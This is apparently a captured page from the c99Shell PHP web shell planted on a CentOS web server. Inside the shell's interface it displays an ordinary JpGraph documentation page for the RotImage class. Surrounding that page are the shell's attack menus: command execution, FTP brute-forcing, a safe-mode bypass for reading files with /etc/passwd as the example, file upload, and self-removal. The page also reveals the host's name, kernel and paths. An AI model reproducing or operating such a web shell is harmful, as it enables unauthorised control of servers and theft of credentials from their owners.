!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/jpgraph/docs/ref/   drwxr-xr-x
Free 50.91 GB of 127.8 GB (39.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     RotImage.html (10.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

CLASS RotImage EXTENDS Image
(Defined in: jpgraph.php : 7238)
 RotImage  Image 
 SetAngle() 
 SetCenter() 
 SetMargin() 
 SetTranslation() 
 RoundedRectangle() 
 SetAlphaBlending() 
 SetAntiAliasing() 
 SetCanvasColor() 
 SetExpired() 
 SetImgFormat() 
SetMargin() 
 SetQuality() 
 SetTransparent() 
 

Class usage and Overview
A subclass of Image class which implements a rotated version of all methods in the base Image class. The Image class used in JpGraph is actually not the class Image but rather this class as we want to have the rotating possibility. The rotation is accomplished by standard 2D rotation matrices.

 

See also related classes:
Image

 


Class Methods

 

 

Specify rotation angle

ArgumentDefaultDescription
$a  Angle in degrees

Description
Specify the rotation angle for the other graphic primitives in this class. The rotation is performed around point (0,0).  
 
See also
RotImage::SetTranslation and RotImage::SetCenter

Example

$graph->img->SetAngle(45);

 

 

Set rotation center

ArgumentDefaultDescription
$dx  Specify rotation center X
$dy  Specify rotation center Y

Description
Specify center of rotation. (0,0) is the upper left most point in the image. By default the rotation point is choosen as tjhe midpoint of the image when the RotImage class is initially created.  
 
See also
RotImage::SetTranslation and RotImage::SetAngle

Example

$width=600; $height=400;
$graph = new Graph($width,$height);
$graph->img->SetMargin($leftm,$rightm,$topm,$bottomm);
$graph->SetAngle(20);

// Rotate graph around the plots (0,0) point, i.e
// where the graph axis intersect.
$graph->img->SetCenter($leftm,$height-($topm+$bottomm));

 

 

Specify margin for plot

ArgumentDefaultDescription
$lm  Left margin
$rm  Right margin
$tm  Top margin
$bm  Bottom margin

Description
Specify the margin, i.e. the area on the side of the actual plot which is used for titles, labels, legends ans so on.  

Example

$graph->img->SetMargin(30,30,50,20);

 

 

Specify translation (in pixels)

ArgumentDefaultDescription
$dx  Horizontal translation
$dy  Vertical translation

Description
The translation is applied after the rotation of the image. 
 
See also
RotImage::SetCenter and RotImage::SetAngle

Example

$graph->img->SetTranslation(10,10)



:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0173 ]--